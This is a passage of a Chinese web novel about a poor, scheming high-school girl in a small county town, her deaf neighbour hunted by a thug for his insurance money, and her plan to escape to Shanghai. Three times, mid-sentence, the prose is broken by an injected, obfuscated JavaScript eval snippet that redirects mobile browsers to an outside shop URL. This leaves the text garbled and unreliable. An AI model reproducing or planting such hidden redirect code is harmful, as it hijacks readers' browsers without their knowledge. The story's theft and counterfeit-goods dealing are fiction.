李树视线下移,男人手上折射着银光,上面套着指节处嵌着硬铁的手套。 再看他身后,五个人,都带着趁手的武器。 李树盘算了两秒,转头往反方向跑。 * 临安一中难得放学生出来休息一次。 易佳期一大早就被前桌约着去了商业街。街上新开了家奶茶店,饮品买一赠一,店主是台湾人,卖的是正经的珍珠奶茶,门前天天排长队,去的晚的只能喝凉水。 前桌对台湾人做的珍珠奶茶志在必得。 易佳期对奶茶这类过分温吞的饮料不感兴趣,一进嘴就滑进肚子,咂摸咂摸只剩点甜味,价格也不便宜。 她转道去了友诚书店。 老板前段时间就发了空间,店里进了新书,还上了点进口货水笔。 斑马、百乐,易佳期对这两个牌子有印象,季昀有很多支。 日本鬼子那边的品牌。 季昀从高一用到高三,易佳期从没见过他更换笔芯,没水了就扔,这么忠心耿耿地给日本人送钱,可以得见此人毫无三观。 易佳期挑了两支,和资料一起付钱。 付完钱,她掏出手机。 手机买了满打满算两年了,捯饬的二手,换过电池,用下来开屏都有点卡顿了。 她点开企鹅号,弹出两个对话框。 前桌:“刚才碰见我妈了,非要拉我去和她姐们吃饭。” “她姐们是市一中老师,我等会给你要几套市一中的押题卷。” 市一中是省重点,师资强劲,出的卷子质量不错。 易佳期从不刷预测卷、押题卷,学校花钱买来的黄冈卷她也从来不写。 “谢谢。”她回复前桌。 她点开下一个对话框,季昀的。 “我不出国了,不去了,我要跟着你去上海。” 易佳期面无表情地打字:“你能想通真是太好了!” 消息刚发过去,对面就显示正在输入… 易佳期点开季昀头像,设置了消息屏蔽。 季昀这种人,不知道该评价他蠢还是天真。 从前的他考去上海92尚且吃力,现在他右手骨裂,高考前即便能养好,也势必会影响做题速度。下这样的决心,真是天真到令人憎恶。 易佳期冷笑一声,手机往兜里一塞。 回迁房这边没开发之前是乡下,被护城河拦在城外面,后来拆迁修路,河边的小土坡也修成了柏油路,一截一截连起来,就成了堤。 从堤上走,往边上一跨,就能踩上别人家的屋顶,带院子的房子从堤上看更是一览无余。也是这个原因,路修好后,附近这一带渐渐都成了荒屋。 易佳期从堤口翻下去,跳到房顶上,往前走了几步,打算抄个近道。 没想到脚刚搭上另一家二楼的栏杆,低头,就看见了熟人。 一群熟人。 在巷子里打成一团,热火朝天,已经不知天地为何物。 “给我按住了!”为首的男人语气不佳,剩下几个人听他号令,对着地上的人踹了几脚,随后从两边锁住那人的手臂。 出声的头子易佳期认识,林家豪,家里开黑网吧,认识的人多,从小就在外面混。 她们这小地方,这样的人不少,成长轨迹也相当雷同。上学的时候认姐哥,打群架被喊过去撑场面,她们管这个就叫混社会。长大了混的差的去打工,混的不错的在县城开个店,顺势“上岸”。 林家豪算是混的不错的那一波,之前开了个台球厅,现在奶茶店也即将开业,风光无限。 易佳期没有声张,默默打量着战况。 六打一,被按住的那个人穿着临中的校服,上半身向下垂着,襟前有几道血迹,被揍得不轻。 林家豪走过去,薅起那人的头发,“让你硬,让你硬!”说着他瞅准那人的肚子,一脚踹下去。 这一脚力气不小,按着人的那几个小弟都被这股力道连带着向后坐去。 被踹的人一下躺倒在地上,脸冲着天。 易佳期看清了那人的脸。 李树?被群殴的人是李树? 易佳期倒也不意外,这种爱管闲事的傻蛋,挨揍,早晚的事。她往下一蹲,趴在露台的墙头上,默默占据高地围观起来。 林家豪还是气不过,伸手拽住李树的领子将他扯起来。 “哥们以前对你不薄吧,你脾气硬,不给飞哥好脸,要不是我帮你这个叼毛说话,你早被他打死了。现在我只不过找你帮点小忙,借点钱周转一下,看看你这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485752|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度,树儿,你说我怎么能不寒心。” 李树的头动了动。 林家豪摆手,“给他一只手,让他说话。” 李树不打手语,单纯比划几下,揪出校服上的兜,空的。 意思是,“我没钱。” 林家豪大叫:“放屁!谁他爹不知道你爹买了意外险,死了没多久保险公司就赔了一大笔钱!” 这事情在当年的确是个大新闻,县里死个人不算大事,听说了顶多唏嘘几句,可人死了,保险给赔了几十万,他就永远活在街坊邻里的饭桌上了。 县里的保险员更是抓住了机会,将这件事当作案例,口口相传,一时间,县上的人都知道,回迁房那边有个人买了保险,死的很值当,给儿子留了好几十万呢! 也有不少人动了领养李树的念头,可惜,这种事态度再积极,也比不过血缘,李树最后被亲大爷接走。 两年后,李树被送回来。 八九岁的年纪,背个小包从车上钻下来,瘦的像个猴。 再看他大爷,接他的时候开五菱,送回他的时候开宝马。 街坊四邻从窗户探头看,只肖一眼也都明了,这个岁数的娃娃,守不住财。 两天后,李树的大爷开着宝马走了,县上也没人再提领养他。 这些,林林总总,作为对门,易佳期最清楚。 只是现在想来,当年那笔钱到底被李树大爷拿走多少,只有李树知道。 “前几天,你把家家购那家的小子打进医院的事可是传的沸沸扬扬,不拿医药费你能这么轻易的出来?!” “十万,我只借十万。”林家豪不死心。 李树不比划了,只是摇头。 “李树!”林家豪彻底没了耐心,气极反笑:“好样的,机会我给过你了,你不要,那就别怪我不做人了。” 他往后退了几步,“给我打,打到他服软为止!” 李树明显已经使不上劲,腰弓着,锁住他的几人名义上是按着他,倒不如说是搀扶。 边上的平头怕出事,“豪哥,脸都白了,算了吧。” 林家豪已经杀红眼,完全听不进去。 “打!死了算我的!” 这话一出,几个人也没辙,卖力对着李树捶打起来。 看来看去,还是这些,也不是很有意思,快考试了,看不得这些打打杀杀的事情,触霉头。 易佳期抻了抻脖子,打算从另一边翻下去。 “这什么东西,这么硬?” “豪哥,这小子腰上有东西,好像是个盒子。” 易佳期已经跨到一楼二楼之间的平台上。 “拿出来看看。”林家豪的声音。 “是个…好像是新出的苹果手机?!” 易佳期驻足。 她飞速返回原先的位置。 林家豪:“还说你没钱!苹果都用上了!你果然在骗我!” 装手机的盒子在平头手里,易佳期定睛一看,不仅是新款苹果,竟然还是加钱才能买的土豪金。 果然啊,李树这死爹的把她们所有人都骗了!整天拿着个小灵通装可怜,背地里说不定苹果手机成捆买! “拿过来给我!”林家豪对平头说。 易佳期来不及想太多,捡起旁边的砖头往林家豪的方向砸过去。 砖头擦着林家豪的手臂飞过,两个人下意识躲闪,手机盒子脱手锤到地上。 下一秒,易佳期冲下面大喊:“警察往这边来了!快跑!” 几个人果然乱了阵脚。 “龟儿子,哪个报警了!” “豪哥,咋办!” “跑啊,还问?赶紧。” 几个人里面只有林家豪是真混过,其他几个都是硬着头皮上,别说警察了,学校给个处分都够他们喝一壶。 林家豪也不是天不怕地不怕,他现在手头还有生意,要不是一时被李树的赔偿款冲昏了头,根本不会重操旧业。 一伙人一哄而散,各自逃窜。 易佳期手一撑,翻过墙头跳下来。 李树没了钳制,也没了支撑,无力地匍匐在地上。 易佳期抬腿从他身上迈过,抱起地上的手机,左右看了看,确保没有人看到。 随后,她把手机往怀里一揣,火速钻进前头不知名的巷子。 5. 柠檬 整整一个晚上,两个手机之间终于完成了数据的迁移。 她原先用的手机是32GB的内存,买的时候算是大内存,两年过去早就不堪重负。偏偏她还在做莆田货的代理,每次上新,她都需要下载官图发到空间,相册简直快要爆炸。 下载好基本的软件,易佳期将两个企鹅号分别登陆。 两个都是工作号,一个卖货给同学,一个卖货给网友。面向网友的企鹅号充了svip,易佳期上线后没先处理未读消息,而是将手机型号显示打开。 随后,她打开相册,把买来的国外风景图发到空间,“这次来马代感觉没有两年前好玩了,怎么肥事?不过管家Andy还是那么贴心。” 照片发出去没多久,就有消息来了。 “小八,你空间发的旅行照里穿的那双鞋子是哪一款?还有货不,给我拿一双。” 这就是易佳期分号的目的。 做熟人的生意,最忌讳让她觉得你做着做着有钱了,做陌生人的生意又是另一套路数,得卯着劲让她们觉得,你赚钱了,不仅赚,还赚到大钱了。 整理完两个号上的订单,她从网银上提现的钱也到账了。 银行发过来消息,卡里的余额突破2000。 卡是用张克强的身份证办的,虽说绑定的是易佳期的号码,但钱存在张克强名下,易佳期夜不能寐。只要卡里余额超过2000,她就会找时间去银行取出来。 满打满算,她已经存下将近四万块,足够应付大学前两年的学费和生活费。 她给自己攒下从这个家彻底消失的资本。 出发去上海前,易佳期和张克强坐在同一个桌上吃饭,张克强难得清醒,开火炒了两三个菜。 “快高考了。”吃着饭,张克强突然冒出这么一句。 真稀罕,死人竟然也能开口说话。 易佳期夹了一筷子春笋,卡滋咔滋。 张克强看不懂大小眼,见状也伸筷子去夹,“这个菜做的好吃吧。” 易佳期没看他,只说:“食不言。” “啥盐,”张克强赶紧又叨了几筷子,“这菜没放多少盐。” 易佳期这辈子都不想开口说话了。 这个粗鄙、蠢笨、大字都不识几个,学历不到初中的男人,小区门口的保安,这么丢脸的人,这么底层的人,偏偏是她的血亲。 亲戚们说闲话,偶尔调侃她,说她是鸡窝里飞出一个金凤凰。 易佳期对这种说法从来不搭腔。 鸡就是鸡,生不出金凤凰,就算真有鸡会下金蛋,最多孵出一只长得像金凤凰,的鸡。 她是人就是人,不长在鸡窝,降生在出租房。亲戚们没有常识,鸡和凤凰有生殖隔离,而穷人和富人,聪明人与蠢货可没有生殖隔离。 她能长成这样,全然仰赖她自己,和她母亲的优质基因。 过了一会,张克强又开始说话。 “听你老师说你想往上海考?” “你之前不是要报省城吗,南方人都精明,爱骗人,哪有咱们这边的人心肠好。再说了,上海那么远,你一年回来三四趟,毕了业留在那里工作那更见不着你影了,我养你是指望你给我养老的,早知道这样,还不如早点在县上给你相个人家。” 易佳期不意外,张克强这人,脚以上都是屁股,一出气都是在放屁。 他早就想过让她去打工,还是他的牌友劝住了他。 “现在大学生多值钱,你闺女学习这么好,以后赚钱大把大把的,你还不是跟着吃香。” 易佳期问:“哪个老师和你说的。” 张克强:“打牌的时候,有个说是你学校的老师,认识你。” 易佳期表情倏然严肃,“我们学校的老师都是有编制的,违法乱纪的事情一点都不能沾,打牌也有赌博性质,现在抓的正严,还记不记得他姓什么,叫什么名字,这种事情不能开玩笑,我得往上报。” 易佳期打起官腔很有样子。 张克强有点被唬住,害怕惹上麻烦,“哎呀不知道不知道,你别问我。” 这事就这么告一段落。 午后,张克强歪在沙发上发饭昏,不一会就打起呼噜。 学校订的火车票在夜里,睡一觉正好到地方。这趟去上海要去三天,余出一天薛英打算带她四处转转。易佳期把厚衣服穿在身上,只往包里塞了点贴身衣服,拉上拉链往背上一甩,书包直打飘,看不出一点远行的样子。 打开手机,第一条是薛英的短信。 “今天魏主任去市里送我们,她先接上我,到你家那边差不多6点半,记得提前收拾好。” 易佳期回复:“必须的。” 退出到主界面,企鹅弹出几天新消息,易佳期扫了一眼,没有动作,直到手机缓缓熄屏。 窗檐缝隙钻出的杂草已经开花了,黄灿灿的一小朵,花瓣的边际融化在阳光里。 春光竟肆意到这种程度。 易佳期站起身,抻了抻懒腰,走到窗前。 一天中阳光最好的时候,街道上却安静极了,偶尔才有一辆匆匆而过的电车。相似的饮食,相似的作息,让整个小县城默契地沉入睡眠。 以至于对面的砸门声震开的时候,尤为突兀。 张克强离门最近,受到的波及最大,一个打跳从沙发上坐起来。 “爷嘞个蛋,催命呢!”张克强破口大骂,易佳期也从房间里出来,顺手拿了个橘子,往那一坐,冲着门头剥起皮来了。 听动静,外面至少有三个人。 “李树,出来,我知道你在里边!钱的事情你甭想躲,就这破门,你躲得过初一躲得了十五吗?”是林家豪的声音。 “告诉你,店开不成我也没法混了,我现在是光脚的不怕穿鞋的,不见到钱我和你没完!” 看来林家豪是打定那笔钱的主意了,疯狗一样,咬上就不松口。 “豪哥,别喊了,他聋子。”旁边人提醒他。 “就显着你了!我能不知道?!”林家豪的声音带着恼怒。 这么一会,张克强也反应过来了,他瞅准易佳期,问她:“树儿这是在外头得罪人了?” 易佳期淡淡吃着橘子,没搭理。 不等张克强再问,外头又是一阵骚动。“哐!”的一声巨响,听得人头皮一紧。 “听不见是吧,直接把这破门给我砸了!”林家豪一声令下。 紧接着的是几道骇人的撞击声响。 哐叽哐叽,狭小的走廊如赶工的车间般热闹。 回迁房这一片年轻人少,连中壮年都不多,小区里大多住户都上了点岁数,这种情况下,没人敢出来阻止,连看热闹都只能扒门缝看。 “这帮小兔崽子,真当没人办得了他们了!”张克强忽然像是鬼上身了。 他边起身边掏手机:“现在的小年轻真是无法无天,没有一点纪律,不像我们那个时候,看看警察来了他们还嚣不嚣张!” 易佳期起身速度更快,抓住张克强手机一把夺过来。 张克强瞪眼:“你干什么!” 易佳期反问他:“这话应该我问你,你干什么?” “报警啊!你耳朵也聋了?!” 易佳期:“然后呢,警察来了又能怎么样?” 张克强冷哼,理所当然:“警察来了就把他们抓走。” “李树受伤了吗?门踹坏了吗?他们连门都没进去呢,顶多算个扰民,警察吃饱了撑的啊抓他们进去?”易佳期逼问他,脸色很难看。 张克强说不出了,易佳期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485753|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身形压着他的眼睛过来,他现在看易佳期,得抬头。 说来,他和易红个子都不算高,也不知道老坟冒了什么烟,易佳期倒是长得人高马大,突然这么冷着脸往他身前一站,还真让人有点打怵。 易佳期:“就算警察把他们抓进去,你报的警,也得跟着走一趟。最多两天,他们放出来了,你和李树住对门,收拾完李树转个身的功夫就能收拾你。” “到时候连累到我,影响我高考,我倒看你拿什么做躺着数钱的春秋大梦。” 她不愿再多和张克强废话,直接拆开电池的背板,抽出电话卡掰断。 说完,把手里的东西扔进垃圾桶,易佳期转头进了房间,甩上了门。 易佳期出门的时候,林家豪几个人已经不在了。 楼道的声控灯一闪一闪,李树家的门头依旧紧闭。 易佳期背上旅行包,头也不回地钻进深蓝的黑色里。 * 易佳期的考点分到交大。 笔试的当天,易佳期的心情很平静,反而是薛英坐立难安。 临安一中建校二十多年,鲜少有学生能参加自主招生,这种体验,于易佳期于薛英,都是头一遭。 “怎么样,题难不难,有没有把握?”刚出考场,薛英拎着饮料迎上来。 易佳期比较客观:“考察的知识点范围很大,有几道题拿不准,不过应该能挺进复试。” 薛英松了半口气,下一秒又提上来。 “你考点选在上海,到时候复试不会有冲突吧?” 复旦和北大都在北约,笔试一起考,老魏和薛英轮番劝,最后还是把两个学校一起报了名。 易佳期将书包挎到一边,朝路边的的士招手,看的很开,“真到那时候再说吧,哪边有票去哪边。” 老魏提前给俩人报了一日旅行团,豫园,城隍庙,黄浦江,南京西路,东方明珠,行程安排的密密麻麻。 一天下来恨不得暴走十公里。 在东方明珠下面拍完合照,导游大手一挥,还要带着她们漫步外滩,去世纪大道观赏夜景。 薛英力竭,说话几乎是气音:“你们魏主任多有本事,知道的是旅行社,不知道的还以为报的暴走团。“ 见状,易佳期去找了导游,提前结束二人的行程。 导游再三确认后,带着团浩浩荡荡离开。 东方明珠下,易佳期站着,薛英坐着,夜色微凉,缠绕着潮气。易佳期的头抬着,薛英不明所以,也朝着她的视线看过去。 她们坐着的地方,距离东方明珠只有一个马路的距离。 电视塔拔地而起,体型巨大,抬头看去的视角意料之中的单调。 薛英不解,直到头顶滚落一声易佳期的叹息。 “怎么了?叹什么气。” 易佳期摇头:“没什么,我在想,这么高的楼是怎么建起来的。” 她感叹:“我看过东方明珠的图片,只是没想到468米,原来这么高。” 她第一次看到东方明珠,是在一张明信片上。夹在易红留下的读书笔记里。 “老师,你之前问过我,为什么一定要去上海。” 薛英点头,“是问过,怎么突然说这个。” 易佳期说:“我总觉得,我妈也许在上海。” 薛英:“所以,你一门心思想考上海的大学,是为了找你妈妈?” 易佳期眼睛定定看向前方。 “不全是。” “也为了找自己。” 这个叫做易红的女人,给了她骨血、皮肉、姓、名,和生命。 也是这个叫做易红的女人,十六年间,杳无音讯。 这个,对她来说,如同明信片上的东方明珠一样的易红,她想见见她。 6. 绿火车 认识一个人,好像总是从认识一个人的名字开始。 就像自我介绍,总是默认以名字起头。 易佳期的名字是易红起的。 易佳期对易红完全没有印象,家里没有她的照片,易红是突然离开的,也许是觉得丢人又或者别的原因,张克强和他那边的亲戚从来不愿意谈及她,偶尔提一两句,也净是难听的话。 易红留给她的,只有一个相伴她18年的名字。 易佳期小时候不懂伤心啊,郁闷什么的,能让她记在心里的,大多只有快乐的情绪。 每个新学年的开端,都是她最快乐的时候。 “大家好,我叫李强,我的妈妈爸爸希望我能长得很强壮,所以给我取这个名字。” “那为什么不叫李壮!”下面有人起哄。 “大家好,我叫陈国庆,是国庆那天出生的。” “大家好,我叫季昀,我的名字是算命的给我起的。” 哈哈哈哈哈哈哈。台下所有人都被逗笑。 小孩子很容易被逗笑,越笑越起劲,笑到后面已经是在演了。 等到易佳期上台,笑声依旧。 易佳期拿起一根粉笔,转身在黑板上写下自己的名字。 “大家好,我叫易佳期,我的名字是我妈妈取的,它的由来是一句古诗。” “自古好事多磨难,从来佳期不易得。”易佳期摇头晃脑。 这句诗易佳期从幼儿园就会,念一次就记住了。小姑说过,她从娘胎里就不老实,易红没少受罪,常常念这首诗自宽。 “妈妈说,我是上天送给她的礼物,生育虽然辛苦,但一想到即将见到我,就会很开心,就像这首诗讲的那样,好事多磨难,佳期不易得。” “所以,我的名字也是妈妈从中取字,期望我人生顺遂,易得佳期。” “哇~”不知是谁先出声,等反应过来,感叹声已经形成声势,波浪般推及开来。 小学的年纪,单纯背诵诗词都很困难,其实远不理解她所说诗句的含义。但和李强、国庆以及各种叠字比起来,引经据典的易佳期,显然是十分高大上了。 “这名字真好。”老师也由衷感叹。 易佳期享受这种被人羡慕的感觉。 你的名字真好听,你妈妈真有文化,你真聪明,你真漂亮,你个子真高,你真有范儿,你跑步真快,你真厉害,你真棒,真是羡慕你!易佳期喜欢听到这样的话。 所以,她乐于介绍自己的名字。一年又一年。 易。佳。期。 她的名字在薛英口中变得缓慢,韵律悠远,念的似乎不只是她的名字。 东方明珠之下,薛英看着她道:“我相信你。” “你一定可以找到“她”。” 三月初,高三生事情最多的时候。 教室从学期伊始索性就保留了考场的规格,走廊里,连廊上,到处是书包、课本、收纳箱,几乎没有下脚的地方。 “看,这安排的多好,百日誓师和成人礼合一块,一上午就完事了,下午还能放她们出去自由活动活动。” “这要是分两次办,今天刚收回来的心,明天一早又飞走了。” 老魏一脚撑着地一脚折在转椅上,从东边滑到南边,再从南边滑到西边。 最后熟练地一个急刹停在薛英的办公桌旁。 老魏穿的运动鞋,胶皮底,擦在地上,声音挺像那么一回事。 薛英头都没抬,继续看手里的发言稿。 易佳期听见声音,挺正式地转过头来看。 老魏喜欢带轮子的东西,这是薛英说的,“你们魏主任刚参加工作时狂野的很,花好久的工资买了辆摩托车,有事没事就绕着水库飙车。” “原先的老校长喜欢晨跑,天天从家跑到水库。你魏主任家里管不住她,就想着让老校长撞见了收拾她。”当时说到这里,薛英笑了好久,才继续说:“结果她骑得太快了,一年了,俩人愣是没碰上面呢。” “后来呢。” “后来我腿就瘸了。”老魏说。 易佳期的联想戛然而止。老魏见薛英忙着,转过来聊闲她。 “咋样,”老魏努嘴问她,“一会发言紧不紧张?” 易佳期说实话:“不紧张。” 老魏喜笑颜开,冲薛英说:“这妮儿行,干啥都不紧张,以后能当官儿。” 那可不行,易佳期心说,她要是当官,三十不到就被拉去枪毙了。 薛英也笑呵呵,“那可不,佳期这小孩闯莽,干大事的。” 成人礼从八点半开始,易佳期得准备发言,直接上了看台,没和班里的队伍一起绕着操场转圈。 由于下午是自由活动,老魏大赦天下,连带手机这种“无法原谅”的事情都默许了。 打远看过去,队伍里不少人举着手机录像拍照。 易佳期看着台下浩浩荡荡的人群,也掏出手机,打算拍几张。 划开屏幕,小红点一颗一颗往外跑,是接二连三的企鹅消息。 打开来,最上面是季昀的消息,除此之外,是十几条好友申请,易佳期点进去,眉毛扬了扬。 十几条好友申请来自同一个账号。 默认头像、默认网名、默认主页,一个新注册的账号。 十几条申请从昨天下午发到现在。 这么着急啊。 易佳期笑了,抬手点了过滤通知。 季昀的消息还在往外冒,“佳期,我看到你了,原来你在看台上啊。” 这么快就出院了?看来骨裂的确不是多么严重的伤。 易佳期打字回复:“你的手好了?” 季昀秒回:“还没有,疼,写不了字。” “好吧。”易佳期很真诚:“别着急,慢慢来。” 季昀:“唉,伤筋动骨一百天,真倒霉啊。” 从前季昀一向不说这样消极的话。 总说什么“没问题我可以我办到啦小菜一碟”的季昀,这样唉声叹气起来,真是顺眼多了。 季昀:“等会活动结束我们可以见一面吗?” 易佳期:“为什么?” 季昀:“有些话想对你说。“ 易佳期:“没空,你现在说。” 季昀:“算了,高考后再说吧。” 对面开始反复显示正在输入中… 易佳期问:“怎么了?” 季昀:“你说的那些话,一起去上海的那些话,都是认真的吧。” “只要你不出国,我们当然可以一起去上海啦。” 易佳期就等他问这句话。 她安完他的心,顺势确定他的情况,“怎么问这个,难道你反悔了?” 季昀飞快回复:“没有,我已经和家里商量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485754|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,还给你发了消息。” “但你没有回…” 没回就没回呗,她又不是客服,不回消息那不是很正常,果然是被宠坏的富二代,这点冷落都受不了,真不知道之前的人生过得到底有多顺利。 易佳期淡淡敷衍:“忙啊,我有空了会回。” 对面又开始反复正在输入中,半晌,才发了一个“乖乖等你”的表情。 真难缠,易佳期翻了个白眼,收起手机。 临安一中领导班子一向求稳,连成人礼用的成人门都是五六年的老家当,成人礼毫无意外地平淡开始,又平淡结束。 下午自由活动,易佳期回了教室,从桌洞里掏出整理好的真题。 老魏路过,见她在翻试卷,连忙喊她,意思是让她劳逸结合,适当放松一下大脑。 易佳期连声答应。见她点头,老魏放心地走了,易佳期也没糊弄,当真从真题里扒拉出北京卷摊开。 大脑果然放松下来。 写完数学最后一道大题,教室里已经没人了,易佳期这才背上书包出了校门。校门外的小摊也没什么人了,大部分的学生出了校门就直奔商业街。临安这地方,超过十层的楼房都是近几年才盖起来的,穷的叮当响的小县城,商业街是这里最像都市的地方。有点闲钱的年轻人爱去,没什么钱的学生也爱去。 既不上学也没钱的混混更爱去,一到夜里,台球厅那条街巡逻车开冒烟都镇不住来往的牛鬼蛇神。 易佳期要上网,得去网吧。前桌说,最近外面流行一种叫网咖的地方,比网吧高端,电脑显示屏比电视都大!还没有人抽烟,商业街上就开了一家。 没有人抽烟,那的确是好地方。 易佳期照着地址找过去,熟练地开了台机子,输入她早已烂熟于心的博客ID。 随后,从头到尾,一个字一个字研究,冲着主页几条图文来回扑腾。 从网咖出来,天已经让她扑腾黑了。 网咖的网费比网吧贵一半,连饮料都比网吧金贵,易佳期不花这冤枉钱,硬是半下午没喝水,出了门才感觉渴。 边上就是一家代销点,易佳期先没骑车,快步跑了几下过去。 转了一圈,没什么好喝的,她左看右看,最后还是提了桶两升大可乐。易佳期最爱喝这种大瓶,量大,实惠,气还足,端着冲人像大炮,超级威风。 “这个做活动,买一大赠一小,再拿一瓶边上那个小的。”老板提醒她。 “哟,不错啊。”易佳期啧啧两声,掂起瓶小的揣怀里,夹着胳膊掏钱。 “给拿个袋儿,老板。” “好嘞。” 易佳期把小瓶可乐装起来,挂到车把上。 她哼着歌去掏手机。 歌声又骤然停下。 脚步声,从身后来。 下一秒,一只冰凉的手攥住她的手腕。 易佳期转过头去,黑暗里忽然冒出李树煞白的脸。 再定睛一看。 。。。。 红色的血珠,一颗一颗,从李树的头发里滚落下来。 白红相称,配色阴间。 易佳期虽说有点心理防备,但乍然面对这一幕,还是逃不过吓一跳。 “你大…” 易佳期的“爷”字还在喉咙里,可很快,她就不说话了—— 李树冲着她跪了下来。 7. 青皮 李树这么一跪,易佳期才看到他头上的伤口全貌。只一打量,就知道创口肯定不小,还在往外淌血,周围的一圈头毛都被浸湿了。 林家豪是铁了心的要整他。 易佳期往后撤了一步,“你跪我没用,你和林家豪这事我可管不了。” 管不了,也不想管。 林家豪这货办事胶黏,比鬼还能缠人,傻子都知道他俩的恩怨不能掺和。 不过有件事易佳期是真好奇,“林家豪和你借钱,你到底有没有?” 俩人这几周看着血肉横飞的,好像多大件事,说到底,也不过一个钱字。林家豪觉得李树有钱,想借钱,李树不想借钱,说自己没钱。 “你要是身上有钱,那好办,直接借给他,打上欠条,然后翻身做债主。” 易佳期瞥了一眼李树滋血的头,继续道:“不过看你这个样子,你应该也是铁了心不想借,或者说,你真的没钱?” 说到这,易佳期语气有些戏谑,她和林家豪一样,都不信李树没钱。 李树头摇了摇,随后膝盖磨在地上,朝着她刚才撤开的方向进了进,攥在她手腕的指头却松开了。 他不知道从哪摸出来一个掌心大的本子,低下头奋笔疾书。 “我找你,不是这件事。”李树用指头指着本子。 易佳期:“那是为什么?” 这次李树没有再拿笔,而是往前翻了一页。 这张是他提前写好的。 易佳期低头,李树顺着她的视线把本子举起来,食指指在那行字上。 “离开这里的时候能不能带上我。” 易佳期的笑容止住了,“你都知道什么了?” 李树重新掀开一页纸,还没写,本子就被易佳期按住,她有点不耐烦了,“打手语。” 李树愣了一瞬,艰难地消化了一下易佳期话里的信息,随后,试探着抬起手。 「我知道你要走,离开临安,离开这里。」 易佳期静静盯着他。 李树继续:「之前你扫到我门口的垃圾里,有租车行的传单和名片。」 还挺会联想。 易佳期的确要走,而且是马不停蹄,一秒都不想在临安多待。 她早已做好准备,等高考完,就要像一桩悬案般从县城消失。 这件事她自然是没有告诉任何人,没想到却在这种小细节上出了披露。 易佳期冷笑:“哑巴,你是不是忘了,我们早就不是朋友了。” “需不需要我提醒你一下我们之间的恩怨?我不趁机踩你一脚都很善良了,你凭什么觉得我会冒着风险带你离开。” 见易佳期态度如此冷淡,李树也不恼。 他去够她的手,背弯着,用没沾血的额头贴在她的手背上。 随后,他拉住她另一边的手腕,拉向他的身后。 易佳期摸到一个鼓鼓囊囊的帆布包。 “什么鬼?”易佳期皱眉,她心思没在李树身上,到现在才看见,李树原来还背了挺大一个包。 李树比划了一下,示意她打开。 包的大小,和明显压在李树背上的重量,易佳期心中的预感愈发具体。 她绕到李树身后,缓缓拉开背包的拉链。 书包被撑得很极限,她只稍微一拉,包口便被里头的重量缀着开向最大,像一个憨厚的笑脸。 尽管提前做了预设,但拉链完全咧开的瞬间,易佳期还是倒抽一口凉气。 钱,一摞一摞,工工整整的钱,从包底码到包口,满满当当,上面还扎着银行的捆条。 易佳期心中大惊,连忙把书包拉上,四处看了看,确保没人注意到她们,才压低声音道:“你疯了?!带着这么多钱在外面招摇!碰见林家豪怎么办?” 李树摇头,手语打得很快,「林家豪没有看见我,我翻墙了。」 易佳期到这,才把情况理出个大头小尾巴。 李树从生下来就聋,小县城正经的学校都没几个,更别提发展特殊教育,李树听不见,也就不会说,渐渐的,从单纯的聋子,发展成又聋又哑。 妈走的早,爸死的也不晚,接手他的大爷更不咋样,李树就这么长到现在,几乎没有人会耐心与他交流。 这就导致,李树不只是不会说话,还不懂交流。 和他沟通很困难,这一点,基本每一个和他有接触的人都深有体会。 颠三倒四,没有重点,或者干脆沉默,是他的基操。 易佳期又看了一眼他头上的伤,“所以,你头上的口子不是林家豪弄的,是你翻墙躲他的时候磕的?” 李树重复了一遍她的口型,然后点头。 「林家豪去我家了,这里很安全。」 易佳期站累了,往自行车上一跨,坐着,很不客气,“你要不来找我,这里更安全。” 说着,易佳期的视线不受控地飘到李树身后的书包上。 刚才只粗略扫了一眼,也不知道里面到底有多少钱。 真勾人啊。 易佳期感觉手痒痒的。 李树打架挺厉害,跑步应该也还行?不知道速度有没有她快?应该没有吧,毕竟她也是有短跑纪录的人,但如果加上背包的负重?好像也不是十拿九稳。 她止不住越想越偏,只好移开视线,深吸口气把想法压下去。 但心里却隐隐觉得,时机到了。 果然,李树把书包卸下来,往她面前一推,「带我走,这些钱全给你。」 - 包里有二十万。 比易佳期想的还要多。 “这几天你就住在这,别出去乱跑,楼下有早餐,午饭你就去找前台,让她们给你安排弄点吃的。” 易佳期说着,掏给李树100块钱,随后选了张床,大剌剌坐下。 李树接了钱,四处看了看,视线落在房间里的两张几乎紧挨的床上。 然后就不动了,也不知道在想什么。 半晌,他才走了几步,坐到了一旁的木椅上,手规矩地贴住膝盖,很拘谨。 易佳期觉得好笑,“咋了,嫌我没开两间房?” 钱没存进卡里之前,回迁房那边是回不去了。易佳期放心不下一书包的钱,钱在哪她在哪,也得跟钱一块儿在这宾馆住下。 